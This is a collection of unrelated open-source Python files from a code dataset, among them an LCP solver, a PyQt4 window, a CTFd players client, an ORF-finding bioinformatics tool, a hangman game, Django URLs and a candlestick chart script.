time_text.set_text(time_template % (i * dt))\n return line, time_text\n\n ani = animation.FuncAnimation(\n fig, animate, traj.shape[1], interval=dt * 3000, blit=True)\n plt.show()\n\n\ndef LCPSolve(M, q, pivtol=1e-8):\n \"\"\"\n Function called to solve the Linear Complementary Problem Equations\n :param M:\n :param q:\n :param pivtol: smallest allowable pivot element\n :return:\n \"\"\"\n rayTerm = False\n loopcount = 0\n if (q >= 0.).all(): # Test missing in Rob Dittmar's code\n # As w - Mz = q, if q >= 0 then w = q and z = 0\n w = q\n z = np.zeros_like(q)\n retcode = 0.\n else:\n dimen = M.shape[0] # number of rows\n # Create initial tableau\n tableau = np.hstack([np.eye(dimen), -M, -np.ones((dimen, 1)), np.asarray(np.asmatrix(q).T)])\n # Let artificial variable enter the basis\n basis = list(range(dimen)) # basis contains a set of COLUMN indices in the tableau\n locat = np.argmin(tableau[:, 2 * dimen + 1]) # row of minimum element in column 2*dimen+1 (last of tableau)\n basis[locat] = 2 * dimen # replace that choice with the row\n cand = locat + dimen\n pivot = tableau[locat, :] / tableau[locat, 2 * dimen]\n tableau -= tableau[:,\n 2 * dimen:2 * dimen + 1] * pivot # from each column subtract the column 2*dimen, multiplied by pivot\n tableau[locat, :] = pivot # set all elements of row locat to pivot\n # Perform complementary pivoting\n oldDivideErr = np.seterr(divide='ignore')['divide'] # suppress warnings or exceptions on zerodivide inside numpy\n while np.amax(basis) == 2 * dimen:\n loopcount += 1\n eMs = tableau[:, cand] # Note: eMs is a view, not a copy! Do not assign to it...\n missmask = eMs <= 0.\n quots = tableau[:, 2 * dimen + 1] / eMs # sometimes eMs elements are zero, but we suppressed warnings...\n quots[missmask] = np.Inf # in any event, we set to +Inf elements of quots corresp. to eMs <= 0.\n locat = np.argmin(quots)\n if abs(eMs[locat]) > pivtol and not missmask.all(): # and if at least one element is not missing\n # reduce tableau\n pivot = tableau[locat, :] / tableau[locat, cand]\n tableau -= tableau[:, cand:cand + 1] * pivot\n tableau[locat, :] = pivot\n oldVar = basis[locat]\n # New variable enters the basis\n basis[locat] = cand\n # Select next candidate for entering the basis\n if oldVar >= dimen:\n cand = oldVar - dimen\n else:\n cand = oldVar + dimen\n else:\n rayTerm = True\n break\n np.seterr(divide=oldDivideErr) # restore original handling of zerodivide in Numpy\n # Return solution to LCP\n vars = np.zeros(2 * dimen + 1)\n vars[basis] = tableau[:, 2 * dimen + 1]\n w = vars[:dimen]\n z = vars[dimen:2 * dimen]\n retcode = vars[2 * dimen]\n # end if (q >= 0.).all()\n\n if rayTerm:\n retcode = (2, retcode, loopcount) # ray termination\n else:\n retcode = (1, retcode, loopcount) # success\n return (w, z, retcode)","repo_name":"cph560/Drop-Simulation","sub_path":"assignment_3_helper.py","file_name":"assignment_3_helper.py","file_ext":"py","file_size_in_byte":4440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74560461172","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Time : 2/9/18 11:34 AM\n# Author : Jack Huang\n# Email : jackhuang719668276@163.com\n# File : 10_mainwindow.py\n# About : \n# 1. 结合状态栏,菜单栏,工具栏的内容,做一个主窗口\n# 2. \n# 3. \n\n\nimport sys\nfrom PyQt4 import QtGui, QtCore\n\nclass MainWindow(QtGui.QMainWindow):\n def __init__(self):\n QtGui.QMainWindow.__init__(self)\n\n self.resize(350, 250)\n self.setWindowTitle(u'主窗口')\n\n # 添加一个编辑框\n textEdit = QtGui.QTextEdit()\n self.setCentralWidget(textEdit)\n\n # 创建一个退出行为\n exit = QtGui.QAction(QtGui.QIcon('icons/power-button.png'), u'Exit', self)\n exit.setShortcut('Ctrl+Q')\n exit.setStatusTip(u'退出应用')\n self.connect(exit, QtCore.SIGNAL('triggered()'), QtCore.SLOT('close()'))\n\n self.statusBar()\n\n menubar = self.menuBar()\n file = menubar.addMenu(u'&文件')\n file.addAction(exit)\n\n toolbar = self.addToolBar(u'退出')\n toolbar.addAction(exit)\n\n\napp = QtGui.QApplication(sys.argv)\nmain = MainWindow()\nmain.show()\nsys.exit(app.exec_())","repo_name":"HuangJiaLian/LearnPyQT4","sub_path":"1_Menu_ToolBar/10_mainwindow.py","file_name":"10_mainwindow.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24599383274","text":"#!/usr/bin/env python3\n\nfrom .base import CTFBase\nfrom .ctf import Player\nfrom ..const import PLAYERS_URI\n\nfrom pprint import pprint\n\nimport logging\n\nlog = logging.getLogger(__name__)\n\n\nclass Players(CTFBase):\n def update(self):\n log.debug(\"Retrieving players...\")\n for i in self._ctfd.get(\"users\")[\"data\"]:\n for x in self.players:\n if x.name == i[\"name\"]:\n x.__init__(i)\n break\n else:\n self.players.append(Player(i))\n super(Players, self).__init__(self._ctfd, self.players)\n\n def get(self, ident):\n if not isinstance(ident, int):\n raise TypeError(\"Player ID has to be an integer\")\n info = self._ctfd.get(PLAYERS_URI.format(ident))[\"data\"]\n if not info:\n return Exception(\"Player ID does not exist\")\n return info\n\n def __init__(self, ctfd, _data=None):\n self._ctfd = ctfd\n self.players = []\n super(Players, self).__init__(self._ctfd, _data)\n\n def __iter__(self):\n for x in self.players:\n yield x\n","repo_name":"xentrick/ctfdclient","sub_path":"ctfdclient/models/players.py","file_name":"players.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9652105157","text":"\"\"\"\nget_ORFs retrieves all putative ORFs in transcriptome. This only has to be done once per gtf/genome\n\n\nusage:\npython get_ORFs.py --gtf --fa --output \n\nBy default, any ORFs less than 90 nts (30 amino acid) are discarded, but this is set\nby the --min_aa_length flag\n\n\"\"\"\n\nfrom ribofy.stats import get_2D_matrix\nimport sys\nimport pysam\nimport re\nimport numpy as np\nimport pandas as pd\nimport networkx as nx\nfrom tqdm import tqdm\nfrom collections import defaultdict\n\nfrom . import __version__\nfrom .argparse2 import argparse2\nfrom .utils import rev_comp, translate\nfrom .gtf2 import *\n\n\nlibpybigwig = True\ntry:\n import pyBigWig\nexcept ModuleNotFoundError:\n libpybigwig = False\n \n\ndef pickle_save (obj, file):\n \"\"\"Save as gzipped pickle\"\"\"\n\n try:\n import pickle, gzip\n with gzip.open(file, 'wb') as handle:\n pickle.dump(obj, handle)\n \n except ModuleNotFoundError:\n print(\"modules 'pickle' and 'gzip' are required for saving, skipped...\")\n\n\ndef get_orfs_from_seq (seq, start_codon, stop_codon, min_aa_length):\n \"\"\"Get ORFs from sequence\"\"\"\n\n seq = seq.upper()\n\n # searching for start (ATG) and stop-codons \n start = [m.start() for m in re.finditer(start_codon, seq)]\n stop = [m.start() for m in re.finditer(stop_codon, seq)]\n\n start_frame = [s % 3 for s in start]\n stop_frame = [s % 3 for s in stop]\n\n\n # getting all longest possible ORFS in each frame\n\n dorf = []\n\n for frame in [0,1,2]:\n\n ipos = 0\n\n while True:\n\n fstart = [s for i, s in enumerate(start) if start_frame[i] == frame and s >= ipos]\n \n if len (fstart) == 0:\n break\n\n fstop = [s for i, s in enumerate(stop) if stop_frame[i] == frame and s > fstart[0]]\n\n if len (fstop) == 0:\n break\n\n orf_length = abs (fstop[0] - fstart[0])\n\n ipos = fstop[0]\n\n if orf_length < min_aa_length*3:\n continue\n\n dorf.append ({'start':fstart[0], 'stop': fstop[0], 'frame':frame, 'orf_length':orf_length})\n\n\n # sorting - not required, but then low orf_id corresponds to longer ORFs\n dorf = sorted(dorf, key = lambda i: i['orf_length'], reverse=True)\n\n return (dorf)\n\n\ndef get_orf_groups (edge_dict, graph_output):\n \"\"\"get ORF groups based on chromosome-stratified (to save memory) network (edge_dict)\n \n \"\"\"\n\n orf_groups = {}\n group_count = 0 \n group2edge = {}\n\n for chrom in tqdm(edge_dict):\n \n elist = [(e1, e2) for (e1, e2) in edge_dict[chrom]]\n \n # build graph\n g = nx.Graph()\n g.add_edges_from(elist)\n \n # extract graph groups \n for ig, cc in enumerate (list(nx.connected_components(g))):\n\n id_text = f\"group_{(group_count+1):05d}\"\n\n for group_id in cc: \n orf_groups[group_id] = id_text\n\n if graph_output != \"\":\n group2edge[id_text] = (chrom, ig)\n\n group_count += 1\n\n return (orf_groups, group_count, group2edge)\n\n\n\ndef get_orfs (gtf, fa, output, start_codon = \"ATG\", stop_codon = \"TGA|TAA|TAG\", min_aa_length=30, output_fa = False, error_output=\"\", graph_output=\"\", cons_bw = \"\", ):\n \"\"\"\n Main function: Extract putative ORFs from GTF, establish ORF-network and assign type to each ORF\n\n Parameters\n ----------\n gtf: str\n Path/to/gtf-file (only tested with gencode)\n fa: str\n Path/to/fa; genome fasta file (compatible with GTF, and indexed: samtools faidx path/to/fa)\n output: str\n path/to/output (to be used in ribofy detect)\n start_codon: str, default= \"ATG\"\n start codon sequence used in finding ORFs - for multiple codons, seperate by '|', e.g. 'ATG|CTG' to allow for non-canonical start codons\n stop_codon: str, default= \"TGA|TAA|TAG\"\n stop codon sequence used in finding ORFs\n min_aa_length: int, default=30\n Minimun length of ORF (in amino acids)\n output_fa: str, optional\n Output the nucleotide and amino-acid sequences of ORFs (.nt.fa and .aa.fa, respectively)\n\n graph_output: str, optional\n Save graph network to file\n cons_bw: str, optional\n Bigwig file with conservation scores... greatly increases duration\n \n \"\"\"\n\n\n print (\"### get_orfs ###\")\n\n start_codon = start_codon.upper().replace (\"U\", \"T\")\n stop_codon = stop_codon.upper().replace (\"U\", \"T\")\n\n print (\"reading gtf...\")\n gtf = gtf2 (gtf)\n fa = pysam.FastaFile (fa)\n\n if cons_bw != \"\" and not libpybigwig:\n print (\"pyBigwig must be install to extract conservation scores from bw-files\")\n cons_bw = \"\"\n \n if cons_bw != \"\":\n bw = pyBigWig.open(cons_bw)\n \n\n ferror = open (error_output, \"w\") if error_output != \"\" else None \n fseq_aa = open (output + \".aa.fa\", \"w\") if output_fa else None\n fseq_nt = open (output + \".nt.fa\", \"w\") if output_fa else None\n\n start_codon = start_codon.upper()\n\n lorfs = []\n \n cons_dict, edge_dict = {}, {}\n\n print (\"finding ORFs in all transcripts...\")\n\n for tid in tqdm(gtf.get_all_tids ()):\n\n seq = \"\" # transcript sequence\n dt2g = {} # dict, converting from transcript position to genomic position\n cons_arr = [] # conservation scores (only in use if cons_bw is set)\n\n gannot_start = gtf.get_startcodon (tid)-1\n gannot_stop = gtf.get_stopcodon (tid)-1\n gid, symbol, biotype = gtf.get_gene_id (tid), gtf.get_name (tid), gtf.get_type (tid) \n chrom, strand = gtf.get_chrom (tid), gtf.get_strand (tid)\n\n annot_start, annot_stop = 0, 0 # relative, annotated start/stop codons\n\n # iterate through exons\n for (chrom, start, end, strand) in gtf.get_exon_coords (tid):\n\n for i, g in enumerate (range (start-1, end)):\n dt2g[i+len(seq)] = g\n \n seq += fa.fetch (chrom, start-1, end)\n \n annot_start += max (0, min (end, gannot_start) - (start-1))\n annot_stop += max (0, min (end, gannot_stop) - (start-1))\n\n if cons_bw != \"\":\n cons_arr.extend (bw.values (chrom, start-1, end))\n\n # reverse complement '-'-strand transcripts\n if strand == \"-\":\n seq = rev_comp (seq)\n annot_start, annot_stop = len(seq) - annot_start - 1, len(seq) - annot_stop - 1\n cons_arr = cons_arr[::-1]\n\n #if cons_bw != \"\":\n # cons_dict[tid] = cons_arr\n\n # no proper annotation\n if gannot_start <= 0 or gannot_stop <= 0:\n annot_start, annot_stop = -1,-1\n\n dorf = get_orfs_from_seq (seq, start_codon, stop_codon, min_aa_length)\n\n if len (dorf) == 0:\n continue\n\n for i, orf in enumerate (dorf):\n \n orf['tid'] = tid\n orf['gid'] = gid\n orf['symbol'] = symbol \n orf['chrom'] = chrom\n orf['strand'] = strand \n orf['gannot_start'] = gannot_start\n orf['gannot_stop'] = gannot_stop\n orf['annot_start'] = annot_start \n orf['annot_stop'] = annot_stop \n orf['bio_type'] = biotype\n\n orf['orf_id'] = f\"{tid}_orf_{(i+1):05d}\"\n\n orf_seq = seq[orf['start']:orf['stop']]\n\n \n\n if output_fa:\n #fa_header = \n #print (f\">{orf['orf_id']}|{orf['gid']}|{orf['symbol']}|{orf['bio_type']}|{row.orf_type}\")\n\n print (f\">{orf['orf_id']}\\n{translate(orf_seq)}\", file=fseq_aa)\n print (f\">{orf['orf_id']}\\n{orf_seq}\", file=fseq_nt)\n\n\n if cons_bw:\n cons_mat = get_2D_matrix (cons_arr[orf['start']:orf['stop']])\n orf['cons_f0'] = np.mean (cons_mat[:,0])\n orf['cons_f1'] = np.mean (cons_mat[:,1])\n orf['cons_f2'] = np.mean (cons_mat[:,2])\n\n \n orf['tid_length'] = len(seq)\n \n #using annotated stop\n if orf['stop'] == annot_stop and gannot_start > 0:\n orf['orf_type'] = \"annotated\"\n\n if annot_start < orf['start'] and abs(annot_stop-annot_start)%3 != 0:\n \n if error_output != \"\":\n ## ERROR: invalid ORF annotation\n error_data = [str(orf[c]) for c in orf]\n error_data += [seq]\n error_data += [seq[orf['start']:orf['stop']]]\n error_data += [translate (seq[orf['start']:orf['stop']])]\n\n print (\"\\t\".join (error_data), file=ferror)\n\n # overwrite annot\n annot_start = orf['start'] \n\n else:\n orf['start'] = annot_start\n orf['orf_length'] = orf['stop'] - orf['start']\n\n\n\n elif orf['stop'] < annot_stop and orf['start'] > annot_start:\n continue\n\n elif orf['stop'] > annot_stop and annot_stop != annot_start:\n orf['orf_type'] = \"dORF\"\n\n elif orf['stop'] < annot_stop and orf['start'] < annot_start and annot_stop != annot_start:\n orf['orf_type'] = \"uORF\"\n \n else:\n orf['orf_type'] = \"novel\"\n\n orf['gstart'] = dt2g[orf['start']] if strand == \"+\" else dt2g[len(seq)-orf['start']-1]\n orf['gstop'] = dt2g[orf['stop']] if strand == \"+\" else dt2g[len(seq)-orf['stop']-1]\n\n range1 = range (orf['start'], orf['stop'], 3)\n range2 = range (orf['start']+3, orf['stop']+3, 3)\n\n for pos1, pos2 in zip (range1, range2):\n\n p1 = dt2g[pos1] if strand == \"+\" else dt2g[len(seq)-pos1-1]\n p2 = dt2g[pos2] if strand == \"+\" else dt2g[len(seq)-pos2-1]\n \n e1 = f\"{chrom}:{p1}{strand}\"\n e2 = f\"{chrom}:{p2}{strand}\"\n\n if not orf['chrom'] in edge_dict:\n edge_dict[orf['chrom']] = {} \n\n edge_dict[orf['chrom']][(e1, e2)] = 1\n\n lorfs.append (orf)\n\n\n\n if error_output != \"\":\n ferror.close()\n\n if output_fa:\n fseq_aa.close()\n fseq_nt.close()\n\n \n print (\"infering ORF groups...\")\n\n orf_groups, group_count, group2edge, = get_orf_groups (edge_dict, graph_output)\n \n print (f\"found {group_count} ORF-groups in {len (lorfs)} total ORFs\")\n\n if graph_output != \"\":\n\n print (f\"saving network edges\")\n pickle_save ({'edges' : edge_dict, 'group2edge' : group2edge}, graph_output)\n \n\n # if cons_bw != \"\":\n\n # print (f\"saving conservation scores\")\n # pickle_save (cons_dict, output + \".cons.gz\")\n \n\n print (f\"assigning ORF-group to individual ORF\")\n\n connected = 0\n # Assign group to each orf \n for orf in lorfs:\n \n groupid_from_start = orf_groups[f\"{orf['chrom']}:{orf['gstart']}{orf['strand']}\"]\n groupid_from_stop = orf_groups[f\"{orf['chrom']}:{orf['gstop']}{orf['strand']}\"] \n\n if groupid_from_stop != groupid_from_start:\n print (f\"ERROR: Unconnected network in {orf['tid']} : {groupid_from_start} vs {groupid_from_stop} {orf['strand']}\")\n else:\n connected += 1\n groupid = orf_groups[f\"{orf['chrom']}:{orf['gstart']}{orf['strand']}\"]\n\n orf['orf_group'] = groupid\n\n # set group type: annotated > uORF > dORF > novel\n group_score = {}\n group_conv = {'annotated' : 3, 'uORF' : 2, 'dORF' : 1, 'novel' : 0}\n\n for orf in lorfs:\n \n score = group_score[orf['orf_group']] if orf['orf_group'] in group_score else 0\n group_score[orf['orf_group']] = max (score, group_conv[orf['orf_type']])\n \n \n print (\"outputting...\")\n\n \n\n columns = [\"gid\", \"symbol\", \"tid\", \"start\", \"stop\", \"tid_length\", \"annot_start\", \"annot_stop\", \"frame\",\n \"chrom\", \"gstart\", \"gstop\", \"strand\", \"orf_length\", \"orf_type\", \n \"bio_type\", \"orf_id\", \"orf_group\"]\n\n with open (output, \"w\") as fout:\n \n print (\"\\t\".join (columns), file=fout)\n for orf in lorfs:\n \n gscore = group_score[orf['orf_group']]\n oscore = group_conv[orf['orf_type']]\n \n if oscore > gscore:\n print (\"ERROR: orf_group scores invalid\")\n\n if oscore >= gscore:\n print (\"\\t\".join ([str(orf[col]) for col in columns]), file=fout)\n\n \n print (\"### Done ###\")\n\n\n\n\n\ndef ribofy_orfs ():\n\n info_text = \"\"\"\n ribofy orfs: extracting ORFs from GTF\n \"\"\"\n\n help_text = f\"\"\" \n ribofy orfs - version {__version__}\n\n required arguments:\n --gtf GTF file, GENCODE-style\n --fa Genome Fasta file (indexed with samtools faidx)\n --output Output filename, default=orfs.txt \n\n optional arguments:\n --start_codon Specify start_codons for ORF detection. default=\"ATG\"\n --stop_codon Specify stop_codons for ORF detection. default=\"TGA|TAA|TAG\"\n --min_aa_length Minimum peptide length, default=30\n --output_fa If set, outputs nucleotide and amino-acid fasta files (.nt.fa and \n .aa.fa, respectively) for all ORFs found\n \n usage: ribofy orfs --gtf GTF --fa FA [--output OUTPUT]\\n\"\"\"\n\n parser = argparse2 (\n description=info_text,\n usage=help_text,\n help=help_text\n )\n parser.add_argument('orfs', nargs='?', help='') # dummy positional argument\n \n # required \n parser.add_argument(\"--gtf\", dest='gtf', required=True)\n parser.add_argument(\"--fa\", dest='fa', required=True)\n parser.add_argument(\"--output\", dest='output', default = \"orfs.txt\")\n\n # optional \n parser.add_argument(\"--start_codon\", dest='start_codon', type=str, default=\"ATG\")\n parser.add_argument(\"--stop_codon\", dest='stop_codon', type=str, default=\"TGA|TAA|TAG\")\n parser.add_argument(\"--min_aa_length\", dest='min_aa_length', type=int, default=30)\n parser.add_argument(\"--output_fa\", dest='output_fa', action=\"store_true\")\n \n parser.add_argument(\"--error_output\", dest='error_output', type=str, default=\"\")\n parser.add_argument(\"--graph_output\", dest='graph_output', type=str, default=\"\")\n\n parser.add_argument(\"--cons_bw\", dest='cons_bw', type=str, default=\"\")\n\n\n\n args = parser.parse_args()\n\n get_orfs (args.gtf, args.fa, args.output, \n start_codon=args.start_codon, stop_codon=args.stop_codon, \n min_aa_length=args.min_aa_length, output_fa=args.output_fa, \n error_output=args.error_output,\n graph_output=args.graph_output,\n cons_bw = args.cons_bw)\n\n\n\nif __name__ == \"__main__\":\n\n ribofy_orfs ()\n\n\n\n\n\n\n\n \n\n\n\n\n","repo_name":"ncrnalab/ribofy","sub_path":"ribofy/ribofy_orfs.py","file_name":"ribofy_orfs.py","file_ext":"py","file_size_in_byte":15166,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"39544600942","text":"import os\nimport time\nimport requests\nfrom PIL import Image\nfrom resizeimage import resizeimage\nfrom google.cloud import storage\nfrom .containers.serviceContainer import Container\ncontainer = Container()\n\n# Service layer functions to be used by views\n\n\n# Upload file to GCP Storage bucket\ndef gcp_store_image(load, save):\n storage_client = storage.Client()\n bucket = storage_client.get_bucket(container.image_bucket)\n blob = bucket.blob(save)\n blob.upload_from_filename(load)\n return\n\n\n# Make call to K8s micro service for CNN prediction\ndef k8s_cnn_prediction(filename):\n cleaned_name = '.'.join(filename.split('.')[:-1])\n URL = 'http://{0}:{1}/{2}/{3}'.format(\n os.environ[container.cnn_host],\n os.environ[container.cnn_port],\n container.cnn_url,\n cleaned_name)\n probs = requests.get(url = URL).json()[\"preds\"]\n return dict(zip(['Daisy', 'Dandelion', 'Rose', 'Sunflower', 'Tulip'], probs))\n\n\n# Remove file from local system\ndef standard_clean_image(filename):\n time.sleep(5)\n os.remove(filename)\n return\n\n\n# Resize the local image for view\ndef standard_resize_image(filename):\n img_file = open(filename, 'rb')\n img = Image.open(img_file)\n if img.size[0] > container.file_width:\n img = resizeimage.resize_width(img, container.file_width)\n img.save(filename, img.format)\n img_file.close()\n","repo_name":"Edwardbafford/ml-aws","sub_path":"Services/controller/controllerapp/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13751934157","text":"# Hangman game\n# Maciej Błażejczak MBQA\n# inspired by 100 days of code challenge\nimport random\nfrom words import word_list\nfrom hangman_art import stages, logo\n\nprint(logo)\n\nchosen_word = random.choice(word_list)\nlives = 6\nword_to_guess = list(len(chosen_word) * '_')\nprint(\"word_to_guess\", word_to_guess)\nwhile lives > 0:\n guessed_letter = input(\"Guess a letter\").lower()\n if guessed_letter in word_to_guess:\n print(\"You already guessed that letter, try again...\")\n for position in range(len(chosen_word)):\n letter = chosen_word[position]\n if letter == guessed_letter:\n word_to_guess[position] = letter\n print(word_to_guess)\n if '_' not in word_to_guess:\n print(\"You won\")\n exit()\n if guessed_letter not in chosen_word:\n lives = lives - 1\n print(f\"You guessed '{guessed_letter}', there is no '{guessed_letter}' in the word.\\n \"\n f\"You lose a life, {lives} lives left.\")\n print('---------')\n print(stages[lives])\nprint(f\"You lose...\\n\"\n f\"Secret word is {chosen_word}\")\n","repo_name":"mblazejczaksii/python_code_examples","sub_path":"hangman/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34999617386","text":"from django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n path('', views.index, name='home'),\n path('mini', views.miniindex, name='minihome'),\n path('contact', views.contact, name='contact'),\n path('404', views.error404page, name='error404'),\n path('about', views.aboutPage, name='aboutPage'),\n path('post/', views.postPage, name='post_detail'),\n path('post-list', views.postList, name='post-list'),\n path('add-post', views.add_post, name='add-post'),\n path('delete-p/', views.delete_post, name='delete-post'),\n path('delete-c/', views.delete_comment, name='delete-comment'),\n path('update-post/', views.UpdatePostView.as_view(), name='update-post'),\n path('user-list', views.user_list, name='user-list'),\n path('user-list-search', views.user_list_search, name='user-list-search'),\n path('user-profile/', views.user_profile, name='user-profile'),\n path('add-admin/', views.add_admin, name='add-admin'),\n path('remove-admin/', views.remove_admin, name='remove-admin'),\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL,\n document_root=settings.MEDIA_ROOT)","repo_name":"ChamHostile/xberata","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38078524042","text":"products = {}\r\ndata = input().split()\r\n\r\nfor index in range(0, len(data), 2): #започваме от 1вият индекс и вървим през 2\r\n key = (data[index])\r\n value = int(data[index+1])\r\n # Трябват да бъдат интегер навсякъде, може да се сложи отдолу int(value), но е по-добре да се\r\n # превърнат в интегер навсякъде, за това го слагаме горе\r\n products[key] = value\r\n\r\nprint(products)\r\n","repo_name":"TsvetanG2/My-Projects","sub_path":"SoftUni Python/Python Fundamentals/Dictionaries/Bakery.py","file_name":"Bakery.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"bg","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10002305322","text":"import datetime\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Rectangle\nimport matplotlib.dates as mdates\nfrom receiving_data import get_market_data, get_pdh_pdl\n\n\ndef main(ticker, interval, candle_range):\n # Always show all figures during test\n show_pd = True\n show_bearish_bos = True\n show_bullish_bos = True\n\n last_down = 0\n last_down_index = 0\n last_low = 0\n last_up_index = 0\n last_up_low = 0\n last_high = 0\n\n # Receiving data in pandas DF format\n data = get_market_data(ticker, interval)\n\n # Plot parametrize\n plt.rcParams['figure.figsize'] = (40, 30)\n fig, ax = plt.subplots()\n ax.xaxis.set_major_formatter(mdates.DateFormatter('%D %H:%M:%S'))\n plt.xticks(fontsize=20)\n plt.yticks(fontsize=20)\n\n # To draw all boxes to one line\n right_border = data.iloc[-1, 0] + datetime.timedelta(hours=1)\n\n # Draw PDH, PDL\n if show_pd:\n pdh, pdl = get_pdh_pdl(ticker)\n ax.axhline(y=pdh, color='blue', linestyle='-')\n ax.annotate('PDH', xy=(data.iloc[-1, 0], pdh * 1.00002), fontsize=20)\n ax.annotate('PDL', xy=(data.iloc[-1, 0], pdl * 1.00002), fontsize=20)\n ax.axhline(y=pdl, color='blue', linestyle='-')\n\n bullish_candle = False\n short_boxes = []\n long_boxes = []\n for index, candle in data.iterrows():\n bos_candle = False\n\n if index > 0:\n\n # Get bottom of structure(in candle range)\n structure_low = data.loc[index-candle_range:index-1, 'low'].min()\n structure_low_index = data.loc[\n index-candle_range:index-1, 'low'].idxmin()\n\n # Bearish break of structure\n if candle.low < structure_low:\n if index - last_up_index < 1000:\n\n # Doesn't draw anything if it wasn't green candles yet\n if last_up_low != 0:\n\n # Delete duplicates\n for i, short_box in enumerate(short_boxes):\n if short_box.get_xy() == (data.time[last_up_index],\n last_up_low):\n short_boxes.pop(i)\n short_box.remove()\n\n # Add bearish order block\n short_boxes.append(\n ax.add_patch(Rectangle(\n (data.time[last_up_index], last_up_low),\n width=right_border-data.time[last_up_index],\n height=last_high-last_up_low,\n alpha=0.3,\n color='red'))\n )\n\n # Ignore if low = previous candle\n if data.time[structure_low_index] != data.iloc[index-1, 0]:\n\n # Add bearish BOS line\n if show_bearish_bos:\n ax.hlines(structure_low,\n data.time[structure_low_index],\n candle.time,\n color='red')\n bos_candle = True\n bullish_candle = False\n\n # Looking for bullish BOS\n for i, short_box in enumerate(short_boxes):\n left, bottom = short_box.get_xy()\n top = bottom + short_box.get_height()\n\n # Remove short box if current candle break top of order block\n if candle.close > top:\n short_boxes.pop(i)\n short_box.remove()\n\n if index - last_down_index < 1000:\n if last_low != 0:\n\n # Add bullish order block\n long_boxes.append(\n ax.add_patch(Rectangle(\n (data.time[last_down_index], last_low),\n width=right_border-data.time[last_down_index],\n height=last_down-last_low,\n alpha=0.3,\n color='green')))\n\n # Ignore if high = previous candle\n if left != data.iloc[index - 1, 0]:\n\n # Add bullish BOS line\n if show_bullish_bos:\n ax.hlines(top,\n left,\n candle.time,\n color='green')\n bos_candle = True\n bullish_candle = True\n\n # Remove long box if current candle break bot of order block\n for i, long_box in enumerate(long_boxes):\n left, bottom = long_box.get_xy()\n if candle.close < bottom:\n long_boxes.pop(i)\n long_box.remove()\n\n # Paint candle border\n if candle.close >= candle.open:\n candle_border_color = 'green'\n else:\n candle_border_color = 'red'\n\n # Paint candle\n candle_color = 'green' if bullish_candle else 'red'\n candle_color = 'yellow' if bos_candle else candle_color\n\n # Add candle shadows\n ax.vlines(candle.time, candle.low, candle.high,\n color=candle_border_color, linewidth=0.5)\n\n # Add candle borders\n ax.vlines(candle.time, candle.open, candle.close,\n color=candle_border_color, linewidth=3)\n\n # Add candle fill\n ax.vlines(candle.time, candle.open, candle.close,\n color=candle_color, linewidth=1.5)\n\n # Update last down and up candles\n if candle.close < candle.open:\n last_down = candle.high\n last_down_index = index\n last_low = candle.low\n elif candle.close > candle.open:\n last_up_index = index\n last_up_low = candle.low\n last_high = candle.high\n\n # Update last high and last low\n last_high = candle.high if candle.high > last_high else last_high\n last_low = candle.low if candle.low < last_low else last_low\n\n # Save and show result\n plt.savefig(f'results/{ticker}-{interval}.png')\n plt.show()\n\n\nif __name__ == '__main__':\n tick = input('Input ticker: ')\n period = input('Input interval(1m, 5m, etc): ')\n rng = int(input('Input candle range: '))\n main(tick, period, rng)\n","repo_name":"Polixa14/TestCandleCharts","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16642449444","text":"from sklearn import svm, linear_model\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.metrics import classification_report, roc_auc_score, roc_curve\nfrom pathlib import Path\n\nimport pandas as pd\nimport itertools\n\nfrom joblib import dump, load\nfrom msdtk.utils import norm_df_cols\nfrom typing import List, Union, Optional, Iterable\n\nimport numpy as np\n\n__all__ = ['data_preparation', 'Seg2Diag']\n\ndef data_preparation(s1_res, s2_res=None, gt=None):\n r\"\"\"\n Prepare datasheet used for training/inference.\n\n The results from first stage should contains the columns: ['Volume_1', 'Perimeter_1'], which\n can be obtained from calling `generate_label_statistics` function or by `msdtk-label_statistic`\n command. Label 1 in this file corresponds to the air space in the sinus.\n\n The results from the second stage should contain two labels and their stats, which corresponds\n to mucosal thickening (1) and cyst respectively (2).\n\n Args:\n s1_res (str):\n Directory to the label statistic csv of stage 1 output.\n s2_res (str):\n Directory to the label statistic csv of stage 2 output.\n gt (str):\n Directory of ground truth regarding thickening and cyst status\n\n Returns:\n pd.DataFrame\n\n Examples:\n For `s1_res` and `s2_res`, the table could look like this:\n\n +------------+-------------+-------------+-------------+-------------+----------+----------+\n | Patient ID | Perimeter_1 | Perimeter_2 | Roundness_1 | Roundness_2 | Volume_1 | Volume_2 |\n +============+=============+=============+=============+=============+==========+==========+\n | 214081_L | 3698.447739 | 681.7295917 | 0.768914973 | 0.342845281 | 222813 | 3499 |\n +------------+-------------+-------------+-------------+-------------+----------+----------+\n | 214081_R | 4112.721777 | 146.6063509 | 0.716475727 | 0.388683455 | 235012 | 0 |\n +------------+-------------+-------------+-------------+-------------+----------+----------+\n | 233224_L | 4046.113631 | 757.6722372 | 0.724199124 | 0.341720473 | 233044 